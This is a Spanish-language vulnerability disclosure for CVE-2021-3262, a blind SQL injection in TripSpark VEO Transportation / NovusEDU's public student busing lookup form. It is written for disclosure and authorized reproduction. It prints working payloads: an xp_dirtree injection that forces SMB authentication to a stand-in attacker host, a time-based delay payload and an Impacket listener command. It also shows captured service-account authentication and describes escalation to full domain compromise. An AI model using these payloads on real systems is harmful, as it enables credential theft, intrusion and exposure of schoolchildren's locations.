
CVE-2021-3262 - Inyección SQL ciega en el parámetro editOEN de TripSpark VEO Transportation / NovusEDU. Sin autenticación, expuesto a internet. Payloads, solicitudes anotadas y evidencia.
Inyección SQL en TripSpark VEO Transportation / NovusEDU
La página pública de consulta "Student Busing Information" incluida en TripSpark VEO
Transportation toma entradas no autenticadas del cuerpo POST y las concatena en una
consulta a SQL Server sin parametrización ni validación del lado del servidor. El
parámetro editOEN (el campo del número de estudiante) es inyectable.
La inyección es ciega: la aplicación no devuelve errores de base de datos ni contenido
diferencial que valga la pena leer. Sigue siendo totalmente explotable fuera de banda,
porque la conexión a la base de datos puede alcanzar master.dbo.xp_dirtree, lo que
obliga a la cuenta de servicio de SQL Server a autenticarse hacia el exterior mediante
SMB a una ruta UNC proporcionada por el atacante.
Encontrado durante una prueba de penetración externa. En el compromiso original, la credencial capturada de la cuenta de servicio fue el punto de apoyo que condujo al compromiso total del dominio y el bosque de Active Directory del cliente.
Publicado como CVE-2021-3262. Descubierto y reportado por Sedric Louissaint de Show Up Show Out Security.
| CVE | CVE-2021-3262 |
| Producto | TripSpark VEO Transportation / NovusEDU |
| Afectado | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| Debilidad | CWE-89: Inyección SQL |
| CVSS 3.1 (NVD) | 9.8 Crítico CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (investigador) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Publicado | 2023-08-29 |
| Probado en | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| Autenticación requerida | Ninguna. La página de consulta está expuesta a internet por diseño. |
Descripción de NVD:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 permite entradas de datos no seguras en los parámetros del cuerpo POST de usuarios finales, sin sanearlas mediante lógica del lado del servidor. Era posible inyectar comandos SQL personalizados en las consultas de búsqueda de "Student Busing Information".
Los distritos despliegan la página "Student Busing Information" en su sitio web público para que los padres puedan consultar la asignación de autobús de un estudiante. Solicita un N Number del estudiante y una fecha de nacimiento, y no requiere autenticación de forma intencionada.

El campo N Number se envía como editOEN. La fecha de nacimiento se envía como
cboxMonth, cboxDay y cboxYear. editOEN es el parámetro inyectable.
A diferencia de muchas aplicaciones ASP.NET de esa época, esta página no muestra errores de base de datos. No hay diferencia visible entre una consulta bien formada y una rota, por lo que las técnicas en banda son un callejón sin salida.
Las consultas apiladas sí se ejecutan, que es todo lo que se necesita.
master.dbo.xp_dirtree enumera un directorio. Dada una ruta UNC, SQL Server se
autentica contra el host de destino mediante SMB antes de leerla. Apuntarlo a un listener
convierte una inyección silenciosa en una visible:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

La petición es un POST ordinario de ASP.NET WebForms, de aproximadamente 4.700 bytes, la
mayor parte de los cuales corresponde a __VIEWSTATE. Petición completa en
poc/exploited-request.http, cargas útiles en
poc/payloads.sql.

Con el smbserver.py de Impacket escuchando en un host de la internet pública, el
servidor de bases de datos dentro de la red del distrito se autentica hacia el exterior:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Hay dos cosas que merece la pena nombrar explícitamente. Primero, es un formulario sin autenticación y expuesto a internet que llega a una base de datos de producción. Segundo, a ese servidor de bases de datos se le permitía realizar conexiones SMB salientes a hosts arbitrarios de internet, que es lo que hizo observable la inyección ciega.
Más allá de la inyección en sí, la credencial NTLMv2 capturada de la cuenta de servicio de SQL Server fue el punto de apoyo inicial en el compromiso original. Desde allí, la evaluación escaló hasta el compromiso total del dominio y el bosque de Active Directory del cliente.
Los datos en riesgo son los registros de transporte escolar de los estudiantes: nombres, direcciones particulares, autobús asignado, parada asignada, horarios de recogida y rutas de educación especial. Es un calendario de dónde estarán físicamente menores identificables en momentos conocidos.
Contra una instancia de laboratorio que poseas o para la que estés autorizado a realizar pruebas:
sudo smbserver.py c . -smb2support
xp_dirtree de
poc/payloads.sql en el campo N Number, sustituyendo tu propia IP.
Captura y reproduce el POST en lugar de teclearlo en el navegador si el campo tiene un
límite de longitud en el lado del cliente, ya que ese límite no existe en el lado del
servidor.123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
Los identificadores de cliente en las capturas están redactados. Las direcciones de los listeners son del compromiso original y hace tiempo que ya no están activas. Sustituye por las tuyas al reproducir.